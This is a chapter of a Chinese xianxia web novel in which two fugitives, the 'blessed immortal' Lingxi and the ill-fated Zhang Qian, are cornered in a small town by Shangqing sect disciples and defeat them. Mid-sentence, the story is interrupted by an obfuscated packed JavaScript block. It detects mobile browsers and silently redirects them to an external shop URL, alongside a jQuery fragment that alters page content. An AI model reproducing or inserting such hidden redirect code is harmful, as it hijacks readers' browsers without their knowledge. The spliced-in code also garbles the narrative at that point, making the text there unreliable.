深秋暮秋,风卷残叶,漫过青石板铺就的绵长街巷。
苍澜镇坐落在群山夹缝之间,不算繁华,却是南北修士往来的必经歇脚之地。此地远离仙门主峰,不受大宗严苛规矩管束,往来者鱼龙混杂,有入世修行的道门弟子,有游走四方的散修,也有隐匿行踪、避世而居的异类修士。正因这般芜杂纷乱,才成了灵汐与张乾短暂落脚的绝佳之地。
自上次挣脱仙魔合围、带伤逃亡以来,二人已是接连半月不曾好好歇息。一路穿山越岭,昼伏夜出,避开所有仙门巡检的要道,靠着山野野果与稀薄灵气勉强调息,身上伤势始终悬而未愈。灵汐肩头的剑伤虽已结痂,却因数次强行催动灵力,内里经脉依旧隐隐作痛,丝丝缕缕的天道禁锢之力盘踞在骨血之中,时时蚕食她的修为。而张乾周身的天煞戾气虽被他强行压制,可重伤之后气息虚浮,往日里无坚不摧的煞力,也多了几分滞涩疲软。
二人皆是强撑着前行,身心俱疲,早已到了极限。
踏入苍澜镇的那一刻,扑面而来的人间烟火,总算冲淡了几分一路相随的肃杀寒意。街边摊贩叫卖声此起彼伏,热粥白雾袅袅升起,往来行人步履从容,寻常市井的温热气息,让紧绷了数月的两人,下意识松了几分心神。
“先在这里休整一日。”
张乾压低声音,语声带着一丝疲惫。他垂着眼眸,宽大的黑袍遮去大半身形,墨色发丝垂落,掩住眼底翻涌的淡淡煞气。为了隐匿行踪,他早已收敛了周身所有异常气息,将一身滔天煞力死死锁在丹田之内,看上去便如同一个寻常的布衣修士,毫无半分威慑之力。
灵汐轻轻点头,纤白的手指拢了拢身上素色衣裙。她褪去了往日仙门弟子的洁净衣袍,换上一身最普通的俗世衣衫,敛去了一身温润福泽灵气。本该得天独厚、光耀周身的福仙气韵,被她以秘法层层遮盖,如今看起来,只是个容貌清丽、灵力平平的寻常女修,再无半分天道宠儿的特质。
连日逃亡,颠沛流离,早已磨去了她身上仅剩的青涩。眉眼间多了几分沉静与警惕,只是眼底深处,依旧藏着一丝温柔,默默看向身侧始终护着她的少年。
两人寻了镇子最僻静的一处老旧客栈,要了两间临院的上房。院落背靠高墙,僻静无人,窗外是参差的民居屋檐,既能安心调息,又可随时探查四周动静,最是安全稳妥。
进店之时,客栈老板是个憨厚的俗世老者,看不出修士修为,只热情张罗着茶水吃食,丝毫没有异样。店中零星坐着几位客人,大多是往来经商的凡人,仅有两三道微弱的修士气息,散漫平和,并无半分仙门弟子的凛冽正气,看着并无威胁。
紧绷许久的警惕之心,在此刻终于稍稍松懈。
灵汐回房之后,便盘膝坐于床榻之上,闭目调息。她运转体内残存的福泽灵力,一点点温养受损的经脉,试图化解骨血中残留的天道禁制之力。那股力量冰冷顽固,是天道亲手烙下的枷锁,时时刻刻提醒着她福仙献祭的宿命,无论她如何压制,都无法彻底根除。只要她一日不顺从天命,这股禁锢之力,便会日复一日折磨她的肉身与修为。
调息半个时辰,体内翻腾的滞涩之感稍稍缓和。灵汐缓缓睁开眼,眸中微光浅浅,正要起身寻张乾商议后续行程,门外却忽然传来一阵轻柔的脚步声。
房门被轻轻推开,张乾端着一碗温热的汤药走了进来。
他方才趁着调息间隙,去镇中药铺买了疗伤固本的药材,亲手熬煮完毕。汤药热气氤氲,药性温和,不蕴含任何精纯仙力,不会引来天道窥探,恰好适合他们如今隐匿身形、缓慢养伤的境况。
“趁热喝。”张乾将药碗递到她面前,声音低沉温和,“你的内伤未愈,不可急于催动灵力。”
灵汐抬眸看向他。少年立在窗边,逆光而立,周身戾气尽数收敛,眉眼清俊沉静,褪去了战场之上的狠戾杀伐,只剩温柔妥帖。这世间人人惧他天煞命格,惧他一身灭世煞气,视他为不祥灾厄,唯有她知晓,这被天道唾弃、被世人厌弃的煞星,永远将所有温柔与安稳,尽数留给了狼狈不堪的自己。
她是天道选定的祭品,生来便要献祭自身,成全天地秩序;他是天道厌弃的孤煞,生来便要孤身一人,受尽世间寒凉。
两个被天命彻底抛弃之人,在颠沛流离的逃亡路上,成了彼此唯一的救赎。
灵汐接过药碗,仰头缓缓饮下。汤药微苦,却暖得四肢百骸皆是温和暖意,疲惫与伤痛都舒缓了大半。
“你也喝些。”她将空碗递回,轻声叮嘱。
张乾微微颔首,眸底漾开一抹浅淡温柔,正欲开口说话,变故却骤然突生。
风,忽然静了。
方才还喧嚣热闹的街巷,人声、叫卖声、车马声,在瞬息之间尽数沉寂。
不是渐渐安静,是突兀死寂,仿佛整片城镇的生机,都被一股凛冽森严的浩然正气骤然压制。
空气瞬间凝固,原本平和的灵气骤然躁动起来,带着仙门修士独有的清冽肃杀,铺天盖地笼罩整座苍澜镇。
张乾眸光骤冷,周身放松的脊背瞬间绷紧,下意识一步上前,将灵汐牢牢护在身后。
他的感知远超寻常修士,刹那之间,便捕捉到了镇口涌入的数道凌厉气息。
正统仙门灵气,中正浩然,带着搜捕猎杀的冰冷杀意,人数足足有七八人之多!
“是上清仙宗的人。”张乾语声极低,带着一丝凝重。
上清仙宗,便是当初定下福仙献祭天命、屡次追杀灵汐的正统大宗门。此前数次围堵追杀,皆以仙门惨败告终,却不想他们竟一路追查,追到了这偏远荒镇之中。
灵汐心头一紧,瞬间敛尽周身所有气息,屏息凝神。
她知道,他们的行踪,终究还是暴露了。
他们一路极致隐匿,避开所有仙门关卡,刻意选择荒山野岭前行,从不落脚大宗城池,本以为能暂时脱身,却不曾想,仙门的追查之力,远比他们预想的更为缜密恐怖。
而暴露行踪的根源,转瞬便被张乾洞悉。
他垂眸看向灵汐肩头的旧伤,眼底掠过一丝沉色。
是天道禁锢。
灵汐身为天命福仙,身负天道烙印,那道与生俱来的献祭命格,便是最无法遮掩的标记。寻常隐匿之法,可遮灵气、可掩修为、可藏身形,却唯独瞒不过正统仙门的天命侦测之术。他们一路逃亡,灵汐数次强行催动灵力对抗追兵、抵御天道枷锁,那潜藏在骨血中的天命气息,便会悄然外泄,丝丝缕缕飘散于天地之间。
便是这微不可察的气息,成了仙门精准追猎的路标。
客栈之外,脚步声整齐有序,踏过青石板路,步步沉稳,带着仙门弟子独有的傲慢与冷厉,缓缓朝着客栈方向逼近。
一道清朗却冰冷的少年声音,隔着薄薄的木墙,清晰传入二人耳中。
“据宗门侦测术所示,天命福仙的气息,便消散在这苍澜镇中,范围锁定这间客栈。”
“传令下去,封锁四方街巷,不许任何人离开!此次任务,生擒福仙灵汐,格杀同党天煞余孽,绝不能让二人再次逃脱!”
话音落下的瞬间,四方立刻响起整齐的应答声,伴随着阵法启动的低鸣。
淡金色的仙门结界之力瞬间铺开,笼罩整座客栈,将前后院门、四方退路尽数封死。灵光薄薄一层,看似柔和,却带着极强的禁锢之力,但凡踏入结界范围,修为稍弱者,瞬间便会被锁死灵力,动弹不得。
彻底封死,无路可退。
客栈之内,原本闲散的几位客人瞬间惊慌起身,凡人瑟瑟发抖,低阶修士面色惨白,不敢动弹。谁也不曾想到,这般偏僻安宁的小镇,竟会引来仙门围剿追杀的大阵。
灵汐微微攥紧衣袖,心底泛起一丝无力。
他们明明从未害人,明明只是想要挣脱既定的悲惨宿命,想要好好活着,想要守住彼此。
可天道不容,仙门不许,世间正邪礼法,皆要逼他们死。
世人皆知福仙献祭可稳天地气运,皆赞天道公允无私,可无人问过她愿不愿意,无人在乎她的生死悲欢。世人皆惧天煞孤星祸乱苍生,皆唾张乾为灾星妖孽,可无人知晓,他从未主动为恶,所有杀伐,皆是被逼自保。
所谓正道仙门,满口苍生大义,到头来,不过是为了顺从天道,不择手段掠夺她的性命,扼杀他们逆天改命的生路。
“别怕。”
张乾感受到身侧少女细微的颤抖,反手轻轻握住她微凉的手腕。他掌心温热,带着沉稳坚定的力量,瞬间抚平了灵汐心底的慌乱。
他眼底温柔尽数褪去,只剩漫天寒冽的戾气,墨色眸底风起云涌,蛰伏许久的天煞杀伐之气,终于不再压制,悄然翻涌。
“不过几个小辈,挡不住我们。”
话音落时,客栈的木门被人一掌轰然震碎。
木屑纷飞,碎木簌簌落地,刺眼的金色灵光涌入屋内,七八名身着上清仙宗月白道袍的弟子立在门外,长剑出鞘,剑锋森冷,齐刷刷对准屋内二人。
为首的是一位白衣青年,眉目端正,气质凛然,是上清仙宗内门的核心弟子,修为已然抵达元婴中期,在一众年轻弟子中实力顶尖。他目光锐利如鹰隼,死死锁定屋内的灵汐,眼中带着志在必得的冰冷。
“灵汐,没想到吧。你与天煞妖孽屡次叛逃天命,屠戮仙门弟子,以为隐匿山野便能逃过天罚?”
青年缓步踏入屋内,剑锋微抬,直指灵汐眉心,语声冰冷铿锵:“天道既定,福仙必祭,此乃万古不变的天理。你逆天而行,背弃宿命,便是祸乱苍生的罪人。速速束手就擒,随我回宗门领罪,尚可留你一具全尸。”
灵汐抬眸,眸光澄澈却坚定,无半分怯意:“我命由我,不由天。我从未祸乱苍生,何为有罪?顺应天道献祭性命,从来不是我的宿命,只是你们强加于我的枷锁。”
“冥顽不灵!”
白衣青年面色一冷,眼中怒意翻涌,“看来数次追杀,依旧没能让你认清现实。今日,我便替天行道,擒你归宗,斩杀天煞余孽,了结这场天命之乱!”
话音未落,他手腕翻转,长剑携浩然仙力劈斩而出!
金色剑罡凌厉磅礴,裹挟着正统仙门的镇邪之力,直奔灵汐而来。这一剑专为克制妖邪、逆命者所铸,对身负天命枷锁、逆势而行的灵汐有着极强的压制效果。
就在剑罡将至的刹那,一道墨色身影骤然上前。
张乾黑袍翻飞,周身天煞戾气轰然爆发,漆黑煞气翻涌如浪,瞬间席卷整间院落。他不闪不避,赤手空拳直面凌厉剑罡,掌心煞气凝聚,硬生生接住了这蕴含元婴修为的一剑!
金黑两道灵力剧烈相撞,轰然炸裂!
强劲的灵力冲击波瞬间掀翻屋内桌椅,门窗尽数碎裂,院中风石乱舞,威势骇人至极。
张乾身形微微一晃,肩头旧伤被震得隐隐作痛,喉间涌上一丝腥甜。重伤未愈的身躯,终究难以全然抵挡多名仙门弟子的联手攻势。
可他依旧稳稳立在灵汐身前,半步未退,脊背挺拔如亘古青山。
“想要动她,先踏过我的尸骨。”
少年语声低沉冰冷,带着彻骨杀意,漆黑的眼眸之中,再无半分温情,只剩杀伐凛冽。
多年来,他孤身一人对抗整个天下,无惧仙门围剿,无惧天道威压。从前他只为活命,如今,他为护她周全。
身后的上清弟子见首领一击未果,立刻齐齐催动灵力,数道金色剑光同时亮起,纵横交错,织成一张密不透风的剑网,从四方朝着院中二人围剿而来。
剑光凛冽,浩然正气克制天煞戾气,每一道剑锋都带着镇杀邪祟、镇压逆命的霸道力量。
张乾眸色沉沉,煞气运转到极致,周身墨色灵力翻涌盘旋,将袭来的道道剑光尽数格挡击碎。爆炸声接连不断响彻院落,整座老旧客栈在激烈的灵力碰撞中摇摇欲坠,瓦片簌簌坠落,墙体裂痕蔓延。
灵汐没有一味躲藏。
她深知张乾伤势未愈,久战必败。当下立刻凝神静气,压□□内躁动的天道禁锢之力,调动仅剩的福泽灵力。她的福力温润纯粹,本是天地吉瑞之力,此刻却挣脱天道掌控,化作层层灵力屏障,护住二人周身,抵消仙门剑光的压制之力。
福力与煞气一温一烈,一正一逆,却在二人默契配合之下,完美相融。
福煞交织的灵力骤然炸开,竟瞬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597728|205595||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
间冲破了仙门布下的禁锢结界!
半空之中,金色结界寸寸碎裂,灵光四散飘零。
门外的白衣青年见状,脸色骤然阴沉:“福煞相融?你们竟敢将天命福泽与天煞凶煞糅合一体,简直是离经叛道,大逆不道!”
他终于心生忌惮。
此前追杀,二人皆是各自为战,虽实力强悍,却总有破绽。可如今福煞合一,阴阳相融,逆命之力相辅相成,战力暴涨数倍,已然远超寻常元婴修士所能抗衡的范畴。
“结镇煞诛仙阵!”
白衣青年厉声大喝。
剩余六名弟子立刻变换站位,脚踏天罡步,手中长剑齐齐指天,纯正仙力汇于一处,结成上清仙宗专门克制天煞邪力的绝杀大阵。
金光冲天而起,阵法之力笼罩整座院落,万千细密剑影在阵中凝聚盘旋,密密麻麻,无死角封锁所有退路,杀伐之气铺天盖地。
阵成的瞬间,压迫感骤然翻倍。
张乾眸色凝重,能清晰感知到阵法对自身天煞之力的极强克制。他体内旧伤被阵法威压震得剧痛,气血翻涌不止,灵力运转愈发滞涩。
灵汐察觉到他气息的紊乱,立刻上前半步,指尖福泽灵力源源不断渡入他体内,以自身温润福力,帮他中和阵法的克制威压,缓解煞气躁动带来的反噬。
“我撑得住。”张乾低声道,随即抬眸看向合围而来的仙门弟子,眼底杀意凛冽,“今日,便彻底了结这场追猎。”
他不再保留,蛰伏已久的天煞之力尽数爆发,黑袍猎猎作响,周身漆黑煞气化作万千刃影,迎着漫天金色剑影,悍然对冲!
惊天碰撞响彻苍澜镇上空,灵气风暴席卷四方,街巷尘土飞扬,民居屋檐尽数震颤。
镇上的凡人百姓早已吓得闭门闭户,瑟瑟躲藏,无人敢窥探这场仙门厮杀。
激烈缠斗之间,一名站位靠前的内门弟子露出破绽,被张乾煞气凝成的利刃瞬间扫中肩头,惨叫一声倒飞出去,重重摔落在地,灵力溃散,再无战力。
可其余弟子依旧悍不畏死,借着阵法加持,攻势愈发凶猛。
白衣青年抓住间隙,找准灵汐调息的破绽,身形倏然掠出,长剑裹挟极致仙力,直刺灵汐心口!
这一剑快如惊雷,避无可避!
“小心!”
张乾瞳孔骤缩,瞬间舍弃身前对手,身形瞬移挡在灵汐身前,以臂膀硬生生接下这致命一剑!
锋利的仙门长剑穿透黑袍,刺入皮肉,鲜血瞬间染红墨色衣料,温热的鲜血顺着手臂缓缓滴落,砸在青石板上,刺目惊心。
“张乾!”灵汐心头骤紧,伸手死死扶住他颤抖的身躯,眼底瞬间泛红。
剧痛席卷全身,可张乾眉头未皱分毫,反手一把攥住剑身,任凭剑锋割破掌心血肉,戾气轰然灌入长剑,震得白衣青年手臂发麻,连连后退。
“我说过,不准碰她。”
少年声音沙哑冰冷,带着染血的决绝。
他抬眸的瞬间,眼底戾气滔天,周身气场骤然暴涨,那是被彻底激怒、不惜透支性命的逆天之力。
福煞之力彻底交融,黑白双色灵力盘旋周身,冲破所有阵法禁锢,轰然席卷四方!
咔嚓——
坚固的诛仙镇煞阵,在极致的逆命之力下,寸寸崩裂、彻底溃散!
剩余几名仙门弟子被余波震飞,口吐鲜血,重伤倒地。
短短数息之间,局势彻底逆转。
为首的白衣青年面色惨白,难以置信地看着眼前一幕。他从未想过,两个身负重伤、一路逃亡的逆命之人,战力竟强悍至此,能硬生生破掉宗门绝杀大阵,碾压数名内门弟子。
他看着浑身染血、依旧挺拔护在少女身前的少年,心底第一次生出真切的忌惮与畏惧。
“逆天叛道,必遭天诛!你们今日纵然脱身,来日必被天道清算,永世不得轮回!”
白衣青年咬牙嘶吼,色厉内荏。
张乾垂眸拭去腕间血迹,血色衬得眉眼愈发冷冽:“天道不公,便逆天道。仙门偏执,便破仙规。我与她的命,从不由天地仙门做主。”
话音落,他抬手一挥,残余煞气化作凌厉风刃,直逼那白衣青年。
对方早已灵力耗损大半,无力抵挡,只能狼狈躲闪,转身便欲逃窜逃离。
“想走?”
灵汐此刻已然稳住气息,眸中再无半分温柔。她历经数次追杀,早已不是当初懵懂软弱的小仙徒,知晓放虎归山,必有无穷后患。
指尖福力翻转,不再温润柔和,化作禁锢灵力,精准锁死对方身形。
张乾紧随其后,煞气一击落下。
闷响响起,白衣青年灵力溃散,重伤倒地,再无追击之力。
片刻之间,七名前来围剿的上清仙宗弟子,尽数落败,或重伤废功,或失去战力,瘫倒院中。
喧嚣的厮杀声终于落幕,漫天凌厉灵气缓缓消散,只剩满目狼藉的院落,断裂的木梁、碎裂的桌椅、散落的兵器,以及青石板上点点刺目的血迹。
风过街巷,卷起满地碎木残叶,一片肃杀寂静。
灵汐立刻转身,伸手扶住身形微晃的张乾,指尖轻轻抚过他手臂的剑伤,眼底满是心疼:“伤得更重了。”
“无妨。”张乾轻轻摇头,气息虽虚,眼神依旧坚定,“能暂时脱身,便值得。”
这场追杀,终究是以他们破阵胜出告终。
可二人心中都无比清楚,这只是新一轮纷争的开始。
行踪彻底暴露在仙门眼中,上清仙宗必定会传讯各大仙门,封锁所有要道,派遣更强的修士前来围剿。从今往后,他们再无隐秘可言,四方皆是追兵,步步皆是危机。
短暂的休整彻底终结,往后的路途,只会愈发凶险难行。
灵汐抬头望向远方层叠群山,秋风萧瑟,远山苍茫。
她看着身侧满身伤痕、始终与自己并肩逆命的少年,轻轻握紧了他染血的手。
天道压迫在前,仙门围剿在后,前路荆棘密布,危机无尽。
可只要二人并肩相守,福煞相依,纵是天命滔天,纵是仙门万千,他们亦敢一往无前,逆命到底。